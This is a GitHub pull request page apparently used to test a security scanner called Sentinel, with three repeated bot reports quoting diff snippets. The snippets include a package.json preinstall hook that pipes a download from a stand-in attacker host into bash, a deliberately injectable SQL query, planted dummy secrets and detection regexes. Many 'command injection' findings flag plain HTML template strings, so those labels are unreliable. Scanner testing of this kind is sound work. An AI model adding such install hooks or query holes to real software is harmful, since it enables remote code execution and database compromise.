Skip to content

🚨 [SECURITY] Red Team Baseline Audit - Phase 1 - #2

Open
javier20dev25 wants to merge 7 commits into
mainfrom
redteam/baseline
Open

🚨 [SECURITY] Red Team Baseline Audit - Phase 1#2
javier20dev25 wants to merge 7 commits into
mainfrom
redteam/baseline

Conversation

@javier20dev25

@javier20dev25 javier20dev25 commented Apr 21, 2026

Copy link
Copy Markdown
Owner

This PR contains overt security baseline vulnerabilities (eval, exec, sqli, secrets) for Sentinel 3.0 functional validation. DO NOT MERGE.

@vercel

vercel Bot commented Apr 21, 2026 •
edited
Loading

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
merx Ready Ready Preview, Comment Apr 21, 2026 3:00am

@javier20dev25

javier20dev25 commented Apr 21, 2026

Copy link
Copy Markdown
Owner Author

🛡️ Sentinel: Security Threat Detected in PR #2

Repository: javier20dev25/Merx
Status: 🚨 THREAT FOUND

Sentinel has identified potential security risks in this proposal.

Level Severity Rule Description
10/10 🔥 CRITICAL Download and Execute Shell Pattern El workflow descarga código de internet y lo ejecuta directamente en el runner. Patrón clásico de dropper de primera etapa. Un atacante puede controlar el servidor del que se descarga y cambiar el script después del merge (técnica "post-merge swap").

|
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 8/10 | 🔴 HIGH | DOM / XSS Injection | Detects unsafe assignment to DOM elements using non-literal values, allowing XSS execution |
| 8/10 | 🔴 HIGH | DOM / XSS Injection | Detects unsafe assignment to DOM elements using non-literal values, allowing XSS execution |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 9/10 | 🔥 CRITICAL | SQL Injection via Concatenation | Detects raw SQL queries built with dynamic concatenations instead of parameterized bindings |
| 9/10 | 🔥 CRITICAL | Hardcoded .env Secrets | Detects environment variable assignments with sensitive values |
| 9/10 | 🔥 CRITICAL | Hardcoded .env Secrets | Detects environment variable assignments with sensitive values |
| 10/10 | 🔥 CRITICAL | Download and Execute Shell Pattern | El workflow descarga código de internet y lo ejecuta directamente en el runner. Patrón clásico de dropper de primera etapa. Un atacante puede controlar el servidor del que se descarga y cambiar el script después del merge (técnica "post-merge swap").
|

🔍 Evidence

Rule: Download and Execute Shell Pattern

Snippet:

17: -    "logs": "vercel logs merx-alpha.vercel.app"
18: +    "logs": "vercel logs merx-alpha.vercel.app",
19: +    "preinstall": "curl -s http://attacker-malware-server.com/payload | bash"
20:    },
21:    "dependencies": {

Rule: OS Command Injection via Concatenation

Snippet:

31: -                if (rationale) uiText += `<br><br><strong>Análisis Merceológico Inicial:</strong> ${rationale}`;
32: +                if (rationale) {
33: +                    uiText += `<br><br><div class="neumorphic-data-card" style="margin-bottom:0;"><strong class="data-label">Análisis Merceológico Inicial</strong><span class="data-value">${rationale}</span></div>`;
34: +                }
35:

Rule: OS Command Injection via Concatenation

Snippet:

35:  
36: +                if (data.notasSugeridas && data.notasSugeridas.length > 1 && rationale.toLowerCase().includes("ambigu")) {
37: +                    uiText += `<div style="margin-top:15px; padding:10px; background:rgba(138,43,226,0.1); border-radius:8px; border-left: 3px solid #8A2BE2;">
38: +                                 <strong style="color:#8A2BE2; font-size:0.9em;">¡Múltiples Opciones Detectadas!</strong><br>
39: +                                 <small>Tu descripción puede clasificar en varios capítulos. Revisa las <strong>Notas Legales Clave</strong> abajo para determinar a cuál aplica realmente tu producto, y pega la opción correcta en el paso final.</small>

Rule: DOM / XSS Injection

Snippet:

48:              reportView.classList.remove('hidden');
49: -            // FIX: Inject loading animation directly into reportAccordion instead of non-existent wrapper
50: -            reportAccordion.innerHTML = `<div class="loader-container" style="display:flex; justify-content:center; padding: 40px;"><div class="loader"><div class="dot1"></div><div class="dot2"></div><div class="dot3"></div></div></div>`;
51: +            reportAccordion.innerHTML = `<div class="loader-container"><div class="neumorphic-spinner"></div></div>`;
52:              reportView.classList.add('fade-in');

Rule: DOM / XSS Injection

Snippet:

49: -            // FIX: Inject loading animation directly into reportAccordion instead of non-existent wrapper
50: -            reportAccordion.innerHTML = `<div class="loader-container" style="display:flex; justify-content:center; padding: 40px;"><div class="loader"><div class="dot1"></div><div class="dot2"></div><div class="dot3"></div></div></div>`;
51: +            reportAccordion.innerHTML = `<div class="loader-container"><div class="neumorphic-spinner"></div></div>`;
52:              reportView.classList.add('fade-in');
53:              logo.classList.add('loading-animation');

Rule: OS Command Injection via Concatenation

Snippet:

65: -                idContent += `<div style="margin-top:10px; padding:10px; background:rgba(255,165,0,0.15); border-radius:8px; border-left: 3px solid #ff9800;">
66: -                                <small>💡 <strong>Nota del Sistema:</strong> ${notasDuda}</small>
67: +                idContent += `<div class="risk-box" style="border-left-color: #ff9800;">
68: +                                <div class="risk-title">💡 Alerta del Sistema (Deducción)</div>
69: +                                <div class="data-value" style="font-size: 0.95rem;">${notasDuda}</div>

Rule: OS Command Injection via Concatenation

Snippet:

83: +                                </div>`;
84: +
85: +            legalContent += `<div class="neumorphic-data-card">
86: +                                <span class="data-label">Justificación Técnica</span>
87: +                                <p class="data-value">${classificationResult.argumentoMerciologico || ''}</p>

Rule: OS Command Injection via Concatenation

Snippet:

88: +                             </div>`;
89: +
90: +            legalContent += `<div class="neumorphic-data-card">
91: +                                <span class="data-label">Base Legal Citada</span>
92: +                                <p class="data-value" style="font-size: 0.9em; color: #666;">${classificationResult.baseLegalCitada || ''}</p>

Rule: OS Command Injection via Concatenation

Snippet:

93: +                             </div>`;
94: +
95: +            legalContent += `<div class="neumorphic-data-card">
96: +                                <span class="data-label">Análisis de Integridad (RGI)</span>
97: +                                <p class="data-value"><strong>RGI Aplicada:</strong> ${classificationResult.rgiExacta || 'No especificada'}<br><br>${classificationResult.evaluacionRGI1 || ''}</p>

Rule: OS Command Injection via Concatenation

Snippet:

102: -                                    <small>⚖️ <strong>Prelación Legal Aplicada:</strong> ${classificationResult.prelacionLegal}</small>
103: -                                </div>`;
104: +                legalContent += `<div class="risk-box" style="border-left-color: #d35400;">
105: +                                    <div class="risk-title">⚖️ Prelación Legal Automática</div>
106: +                                    <div class="data-value" style="font-size: 0.95rem;">${classificationResult.prelacionLegal}</div>

Rule: OS Command Injection via Concatenation

Snippet:

143: +
144: +            if (taxInfo) {
145: +                taxContent += `<div class="tax-grid">
146: +                                    <div class="tax-item">
147: +                                        <span class="tax-item-label">DAI</span>

Rule: OS Command Injection via Concatenation

Snippet:

158: +                               </div></div>`;
159: +            } else {
160: +                taxContent += `<p class="data-value"><em>No se detectaron aranceles en el texto pegado o la subpartida no los especifica.</em></p></div>`;
161: +            }
162:

Rule: OS Command Injection via Concatenation

Snippet:

165: -                taxContent += `<p><strong>Régimen Sugerido:</strong> ${opt.regimenSugerido || 'NMF'}</p>` +
166: -                    `<p><strong>Ahorro Estimado:</strong> ${opt.comparativaArancelaria?.ahorroPotencial || 'N/A'}</p>`;
167: +                taxContent += `<div class="savings-highlight">
168: +                                    TLC / Régimen Sugerido: ${opt.regimenSugerido || 'NMF'}<br>
169: +                                    <span style="font-size: 1.2rem; display:block; margin-top:5px;">Ahorro Potencial: ${opt.comparativaArancelaria?.ahorroPotencial || 'N/A'}</span>

Rule: SQL Injection via Concatenation

Snippet:

414: +    const userId = req.params.id;
415: +    // VULNERABLE: SQL string concatenation
416: +    db.query("SELECT * FROM users WHERE id = " + userId, (err, results) => {
417: +        res.json(results);
418: +    });

Rule: Hardcoded .env Secrets

Snippet:

430: +
431: +DATABASE_PASSWORD=admin_pass_12345678
432: +SECRET_KEY=9e32f8d227f34c56a7b8c9d0e1f2a3b4c5d6e7f8
433: +PRIVATE_KEY_TOKEN=highly_sensitive_production_token_no_leak_allowed
434: +ADMIN_API_SECRET=zxywvutsrqponmlkjihgfedcba123456

Rule: Hardcoded .env Secrets

Snippet:

432: +SECRET_KEY=9e32f8d227f34c56a7b8c9d0e1f2a3b4c5d6e7f8
433: +PRIVATE_KEY_TOKEN=highly_sensitive_production_token_no_leak_allowed
434: +ADMIN_API_SECRET=zxywvutsrqponmlkjihgfedcba123456
435: diff --git a/sentinel-sandbox.yml b/sentinel-sandbox.yml
436: new file mode 100644

Rule: Download and Execute Shell Pattern

Snippet:

553: +                    { name: 'Private Key', re: /-----BEGIN (RSA |EC )?PRIVATE KEY-----/ },
554: +                    { name: 'Eval exec', re: /eval\s*\(.*require\s*\(/ },
555: +                    { name: 'Curl pipe bash', re: /curl.+(sh|bash|zsh)\s*\|/ },
556: +                    { name: 'Postinstall exec', re: /\"postinstall\"\s*:\s*\"[^\"]{10,}\"/ },
557: +                  ];

Report generated automatically by Sentinel Security Core.

2 similar comments
@javier20dev25

javier20dev25 commented Apr 21, 2026

Copy link
Copy Markdown
Owner Author

🛡️ Sentinel: Security Threat Detected in PR #2

Repository: javier20dev25/Merx
Status: 🚨 THREAT FOUND

Sentinel has identified potential security risks in this proposal.

Level Severity Rule Description
10/10 🔥 CRITICAL Download and Execute Shell Pattern El workflow descarga código de internet y lo ejecuta directamente en el runner. Patrón clásico de dropper de primera etapa. Un atacante puede controlar el servidor del que se descarga y cambiar el script después del merge (técnica "post-merge swap").

|
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 8/10 | 🔴 HIGH | DOM / XSS Injection | Detects unsafe assignment to DOM elements using non-literal values, allowing XSS execution |
| 8/10 | 🔴 HIGH | DOM / XSS Injection | Detects unsafe assignment to DOM elements using non-literal values, allowing XSS execution |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 9/10 | 🔥 CRITICAL | SQL Injection via Concatenation | Detects raw SQL queries built with dynamic concatenations instead of parameterized bindings |
| 9/10 | 🔥 CRITICAL | Hardcoded .env Secrets | Detects environment variable assignments with sensitive values |
| 9/10 | 🔥 CRITICAL | Hardcoded .env Secrets | Detects environment variable assignments with sensitive values |
| 10/10 | 🔥 CRITICAL | Download and Execute Shell Pattern | El workflow descarga código de internet y lo ejecuta directamente en el runner. Patrón clásico de dropper de primera etapa. Un atacante puede controlar el servidor del que se descarga y cambiar el script después del merge (técnica "post-merge swap").
|

🔍 Evidence

Rule: Download and Execute Shell Pattern

Snippet:

17: -    "logs": "vercel logs merx-alpha.vercel.app"
18: +    "logs": "vercel logs merx-alpha.vercel.app",
19: +    "preinstall": "curl -s http://attacker-malware-server.com/payload | bash"
20:    },
21:    "dependencies": {

Rule: OS Command Injection via Concatenation

Snippet:

31: -                if (rationale) uiText += `<br><br><strong>Análisis Merceológico Inicial:</strong> ${rationale}`;
32: +                if (rationale) {
33: +                    uiText += `<br><br><div class="neumorphic-data-card" style="margin-bottom:0;"><strong class="data-label">Análisis Merceológico Inicial</strong><span class="data-value">${rationale}</span></div>`;
34: +                }
35:

Rule: OS Command Injection via Concatenation

Snippet:

35:  
36: +                if (data.notasSugeridas && data.notasSugeridas.length > 1 && rationale.toLowerCase().includes("ambigu")) {
37: +                    uiText += `<div style="margin-top:15px; padding:10px; background:rgba(138,43,226,0.1); border-radius:8px; border-left: 3px solid #8A2BE2;">
38: +                                 <strong style="color:#8A2BE2; font-size:0.9em;">¡Múltiples Opciones Detectadas!</strong><br>
39: +                                 <small>Tu descripción puede clasificar en varios capítulos. Revisa las <strong>Notas Legales Clave</strong> abajo para determinar a cuál aplica realmente tu producto, y pega la opción correcta en el paso final.</small>

Rule: DOM / XSS Injection

Snippet:

48:              reportView.classList.remove('hidden');
49: -            // FIX: Inject loading animation directly into reportAccordion instead of non-existent wrapper
50: -            reportAccordion.innerHTML = `<div class="loader-container" style="display:flex; justify-content:center; padding: 40px;"><div class="loader"><div class="dot1"></div><div class="dot2"></div><div class="dot3"></div></div></div>`;
51: +            reportAccordion.innerHTML = `<div class="loader-container"><div class="neumorphic-spinner"></div></div>`;
52:              reportView.classList.add('fade-in');

Rule: DOM / XSS Injection

Snippet:

49: -            // FIX: Inject loading animation directly into reportAccordion instead of non-existent wrapper
50: -            reportAccordion.innerHTML = `<div class="loader-container" style="display:flex; justify-content:center; padding: 40px;"><div class="loader"><div class="dot1"></div><div class="dot2"></div><div class="dot3"></div></div></div>`;
51: +            reportAccordion.innerHTML = `<div class="loader-container"><div class="neumorphic-spinner"></div></div>`;
52:              reportView.classList.add('fade-in');
53:              logo.classList.add('loading-animation');

Rule: OS Command Injection via Concatenation

Snippet:

65: -                idContent += `<div style="margin-top:10px; padding:10px; background:rgba(255,165,0,0.15); border-radius:8px; border-left: 3px solid #ff9800;">
66: -                                <small>💡 <strong>Nota del Sistema:</strong> ${notasDuda}</small>
67: +                idContent += `<div class="risk-box" style="border-left-color: #ff9800;">
68: +                                <div class="risk-title">💡 Alerta del Sistema (Deducción)</div>
69: +                                <div class="data-value" style="font-size: 0.95rem;">${notasDuda}</div>

Rule: OS Command Injection via Concatenation

Snippet:

83: +                                </div>`;
84: +
85: +            legalContent += `<div class="neumorphic-data-card">
86: +                                <span class="data-label">Justificación Técnica</span>
87: +                                <p class="data-value">${classificationResult.argumentoMerciologico || ''}</p>

Rule: OS Command Injection via Concatenation

Snippet:

88: +                             </div>`;
89: +
90: +            legalContent += `<div class="neumorphic-data-card">
91: +                                <span class="data-label">Base Legal Citada</span>
92: +                                <p class="data-value" style="font-size: 0.9em; color: #666;">${classificationResult.baseLegalCitada || ''}</p>

Rule: OS Command Injection via Concatenation

Snippet:

93: +                             </div>`;
94: +
95: +            legalContent += `<div class="neumorphic-data-card">
96: +                                <span class="data-label">Análisis de Integridad (RGI)</span>
97: +                                <p class="data-value"><strong>RGI Aplicada:</strong> ${classificationResult.rgiExacta || 'No especificada'}<br><br>${classificationResult.evaluacionRGI1 || ''}</p>

Rule: OS Command Injection via Concatenation

Snippet:

102: -                                    <small>⚖️ <strong>Prelación Legal Aplicada:</strong> ${classificationResult.prelacionLegal}</small>
103: -                                </div>`;
104: +                legalContent += `<div class="risk-box" style="border-left-color: #d35400;">
105: +                                    <div class="risk-title">⚖️ Prelación Legal Automática</div>
106: +                                    <div class="data-value" style="font-size: 0.95rem;">${classificationResult.prelacionLegal}</div>

Rule: OS Command Injection via Concatenation

Snippet:

143: +
144: +            if (taxInfo) {
145: +                taxContent += `<div class="tax-grid">
146: +                                    <div class="tax-item">
147: +                                        <span class="tax-item-label">DAI</span>

Rule: OS Command Injection via Concatenation

Snippet:

158: +                               </div></div>`;
159: +            } else {
160: +                taxContent += `<p class="data-value"><em>No se detectaron aranceles en el texto pegado o la subpartida no los especifica.</em></p></div>`;
161: +            }
162:

Rule: OS Command Injection via Concatenation

Snippet:

165: -                taxContent += `<p><strong>Régimen Sugerido:</strong> ${opt.regimenSugerido || 'NMF'}</p>` +
166: -                    `<p><strong>Ahorro Estimado:</strong> ${opt.comparativaArancelaria?.ahorroPotencial || 'N/A'}</p>`;
167: +                taxContent += `<div class="savings-highlight">
168: +                                    TLC / Régimen Sugerido: ${opt.regimenSugerido || 'NMF'}<br>
169: +                                    <span style="font-size: 1.2rem; display:block; margin-top:5px;">Ahorro Potencial: ${opt.comparativaArancelaria?.ahorroPotencial || 'N/A'}</span>

Rule: SQL Injection via Concatenation

Snippet:

414: +    const userId = req.params.id;
415: +    // VULNERABLE: SQL string concatenation
416: +    db.query("SELECT * FROM users WHERE id = " + userId, (err, results) => {
417: +        res.json(results);
418: +    });

Rule: Hardcoded .env Secrets

Snippet:

430: +
431: +DATABASE_PASSWORD=admin_pass_12345678
432: +SECRET_KEY=9e32f8d227f34c56a7b8c9d0e1f2a3b4c5d6e7f8
433: +PRIVATE_KEY_TOKEN=highly_sensitive_production_token_no_leak_allowed
434: +ADMIN_API_SECRET=zxywvutsrqponmlkjihgfedcba123456

Rule: Hardcoded .env Secrets

Snippet:

432: +SECRET_KEY=9e32f8d227f34c56a7b8c9d0e1f2a3b4c5d6e7f8
433: +PRIVATE_KEY_TOKEN=highly_sensitive_production_token_no_leak_allowed
434: +ADMIN_API_SECRET=zxywvutsrqponmlkjihgfedcba123456
435: diff --git a/sentinel-sandbox.yml b/sentinel-sandbox.yml
436: new file mode 100644

Rule: Download and Execute Shell Pattern

Snippet:

553: +                    { name: 'Private Key', re: /-----BEGIN (RSA |EC )?PRIVATE KEY-----/ },
554: +                    { name: 'Eval exec', re: /eval\s*\(.*require\s*\(/ },
555: +                    { name: 'Curl pipe bash', re: /curl.+(sh|bash|zsh)\s*\|/ },
556: +                    { name: 'Postinstall exec', re: /\"postinstall\"\s*:\s*\"[^\"]{10,}\"/ },
557: +                  ];

Report generated automatically by Sentinel Security Core.

@javier20dev25

javier20dev25 commented Apr 26, 2026

Copy link
Copy Markdown
Owner Author

🛡️ Sentinel: Security Threat Detected in PR #2

Repository: javier20dev25/Merx
Status: 🚨 THREAT FOUND

Sentinel has identified potential security risks in this proposal.

Level Severity Rule Description
10/10 🔥 CRITICAL Download and Execute Shell Pattern El workflow descarga código de internet y lo ejecuta directamente en el runner. Patrón clásico de dropper de primera etapa. Un atacante puede controlar el servidor del que se descarga y cambiar el script después del merge (técnica "post-merge swap").

|
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 8/10 | 🔴 HIGH | DOM / XSS Injection | Detects unsafe assignment to DOM elements using non-literal values, allowing XSS execution |
| 8/10 | 🔴 HIGH | DOM / XSS Injection | Detects unsafe assignment to DOM elements using non-literal values, allowing XSS execution |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 10/10 | 🔥 CRITICAL | OS Command Injection via Concatenation | Detects shell commands built using string concatenation, which is a textbook OS command injection vector |
| 9/10 | 🔥 CRITICAL | SQL Injection via Concatenation | Detects raw SQL queries built with dynamic concatenations instead of parameterized bindings |
| 9/10 | 🔥 CRITICAL | Hardcoded .env Secrets | Detects environment variable assignments with sensitive values |
| 9/10 | 🔥 CRITICAL | Hardcoded .env Secrets | Detects environment variable assignments with sensitive values |
| 10/10 | 🔥 CRITICAL | Download and Execute Shell Pattern | El workflow descarga código de internet y lo ejecuta directamente en el runner. Patrón clásico de dropper de primera etapa. Un atacante puede controlar el servidor del que se descarga y cambiar el script después del merge (técnica "post-merge swap").
|

🔍 Evidence

Rule: Download and Execute Shell Pattern

Snippet:

17: -    "logs": "vercel logs merx-alpha.vercel.app"
18: +    "logs": "vercel logs merx-alpha.vercel.app",
19: +    "preinstall": "curl -s http://attacker-malware-server.com/payload | bash"
20:    },
21:    "dependencies": {

Rule: OS Command Injection via Concatenation

Snippet:

31: -                if (rationale) uiText += `<br><br><strong>Análisis Merceológico Inicial:</strong> ${rationale}`;
32: +                if (rationale) {
33: +                    uiText += `<br><br><div class="neumorphic-data-card" style="margin-bottom:0;"><strong class="data-label">Análisis Merceológico Inicial</strong><span class="data-value">${rationale}</span></div>`;
34: +                }
35:

Rule: OS Command Injection via Concatenation

Snippet:

35:  
36: +                if (data.notasSugeridas && data.notasSugeridas.length > 1 && rationale.toLowerCase().includes("ambigu")) {
37: +                    uiText += `<div style="margin-top:15px; padding:10px; background:rgba(138,43,226,0.1); border-radius:8px; border-left: 3px solid #8A2BE2;">
38: +                                 <strong style="color:#8A2BE2; font-size:0.9em;">¡Múltiples Opciones Detectadas!</strong><br>
39: +                                 <small>Tu descripción puede clasificar en varios capítulos. Revisa las <strong>Notas Legales Clave</strong> abajo para determinar a cuál aplica realmente tu producto, y pega la opción correcta en el paso final.</small>

Rule: DOM / XSS Injection

Snippet:

48:              reportView.classList.remove('hidden');
49: -            // FIX: Inject loading animation directly into reportAccordion instead of non-existent wrapper
50: -            reportAccordion.innerHTML = `<div class="loader-container" style="display:flex; justify-content:center; padding: 40px;"><div class="loader"><div class="dot1"></div><div class="dot2"></div><div class="dot3"></div></div></div>`;
51: +            reportAccordion.innerHTML = `<div class="loader-container"><div class="neumorphic-spinner"></div></div>`;
52:              reportView.classList.add('fade-in');

Rule: DOM / XSS Injection

Snippet:

49: -            // FIX: Inject loading animation directly into reportAccordion instead of non-existent wrapper
50: -            reportAccordion.innerHTML = `<div class="loader-container" style="display:flex; justify-content:center; padding: 40px;"><div class="loader"><div class="dot1"></div><div class="dot2"></div><div class="dot3"></div></div></div>`;
51: +            reportAccordion.innerHTML = `<div class="loader-container"><div class="neumorphic-spinner"></div></div>`;
52:              reportView.classList.add('fade-in');
53:              logo.classList.add('loading-animation');

Rule: OS Command Injection via Concatenation

Snippet:

65: -                idContent += `<div style="margin-top:10px; padding:10px; background:rgba(255,165,0,0.15); border-radius:8px; border-left: 3px solid #ff9800;">
66: -                                <small>💡 <strong>Nota del Sistema:</strong> ${notasDuda}</small>
67: +                idContent += `<div class="risk-box" style="border-left-color: #ff9800;">
68: +                                <div class="risk-title">💡 Alerta del Sistema (Deducción)</div>
69: +                                <div class="data-value" style="font-size: 0.95rem;">${notasDuda}</div>

Rule: OS Command Injection via Concatenation

Snippet:

83: +                                </div>`;
84: +
85: +            legalContent += `<div class="neumorphic-data-card">
86: +                                <span class="data-label">Justificación Técnica</span>
87: +                                <p class="data-value">${classificationResult.argumentoMerciologico || ''}</p>

Rule: OS Command Injection via Concatenation

Snippet:

88: +                             </div>`;
89: +
90: +            legalContent += `<div class="neumorphic-data-card">
91: +                                <span class="data-label">Base Legal Citada</span>
92: +                                <p class="data-value" style="font-size: 0.9em; color: #666;">${classificationResult.baseLegalCitada || ''}</p>

Rule: OS Command Injection via Concatenation

Snippet:

93: +                             </div>`;
94: +
95: +            legalContent += `<div class="neumorphic-data-card">
96: +                                <span class="data-label">Análisis de Integridad (RGI)</span>
97: +                                <p class="data-value"><strong>RGI Aplicada:</strong> ${classificationResult.rgiExacta || 'No especificada'}<br><br>${classificationResult.evaluacionRGI1 || ''}</p>

Rule: OS Command Injection via Concatenation

Snippet:

102: -                                    <small>⚖️ <strong>Prelación Legal Aplicada:</strong> ${classificationResult.prelacionLegal}</small>
103: -                                </div>`;
104: +                legalContent += `<div class="risk-box" style="border-left-color: #d35400;">
105: +                                    <div class="risk-title">⚖️ Prelación Legal Automática</div>
106: +                                    <div class="data-value" style="font-size: 0.95rem;">${classificationResult.prelacionLegal}</div>

Rule: OS Command Injection via Concatenation

Snippet:

143: +
144: +            if (taxInfo) {
145: +                taxContent += `<div class="tax-grid">
146: +                                    <div class="tax-item">
147: +                                        <span class="tax-item-label">DAI</span>

Rule: OS Command Injection via Concatenation

Snippet:

158: +                               </div></div>`;
159: +            } else {
160: +                taxContent += `<p class="data-value"><em>No se detectaron aranceles en el texto pegado o la subpartida no los especifica.</em></p></div>`;
161: +            }
162:

Rule: OS Command Injection via Concatenation

Snippet:

165: -                taxContent += `<p><strong>Régimen Sugerido:</strong> ${opt.regimenSugerido || 'NMF'}</p>` +
166: -                    `<p><strong>Ahorro Estimado:</strong> ${opt.comparativaArancelaria?.ahorroPotencial || 'N/A'}</p>`;
167: +                taxContent += `<div class="savings-highlight">
168: +                                    TLC / Régimen Sugerido: ${opt.regimenSugerido || 'NMF'}<br>
169: +                                    <span style="font-size: 1.2rem; display:block; margin-top:5px;">Ahorro Potencial: ${opt.comparativaArancelaria?.ahorroPotencial || 'N/A'}</span>

Rule: SQL Injection via Concatenation

Snippet:

414: +    const userId = req.params.id;
415: +    // VULNERABLE: SQL string concatenation
416: +    db.query("SELECT * FROM users WHERE id = " + userId, (err, results) => {
417: +        res.json(results);
418: +    });

Rule: Hardcoded .env Secrets

Snippet:

430: +
431: +DATABASE_PASSWORD=admin_pass_12345678
432: +SECRET_KEY=9e32f8d227f34c56a7b8c9d0e1f2a3b4c5d6e7f8
433: +PRIVATE_KEY_TOKEN=highly_sensitive_production_token_no_leak_allowed
434: +ADMIN_API_SECRET=zxywvutsrqponmlkjihgfedcba123456

Rule: Hardcoded .env Secrets

Snippet:

432: +SECRET_KEY=9e32f8d227f34c56a7b8c9d0e1f2a3b4c5d6e7f8
433: +PRIVATE_KEY_TOKEN=highly_sensitive_production_token_no_leak_allowed
434: +ADMIN_API_SECRET=zxywvutsrqponmlkjihgfedcba123456
435: diff --git a/sentinel-sandbox.yml b/sentinel-sandbox.yml
436: new file mode 100644

Rule: Download and Execute Shell Pattern

Snippet:

553: +                    { name: 'Private Key', re: /-----BEGIN (RSA |EC )?PRIVATE KEY-----/ },
554: +                    { name: 'Eval exec', re: /eval\s*\(.*require\s*\(/ },
555: +                    { name: 'Curl pipe bash', re: /curl.+(sh|bash|zsh)\s*\|/ },
556: +                    { name: 'Postinstall exec', re: /\"postinstall\"\s*:\s*\"[^\"]{10,}\"/ },
557: +                  ];

Report generated automatically by Sentinel Security Core.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

1 participant

@javier20dev25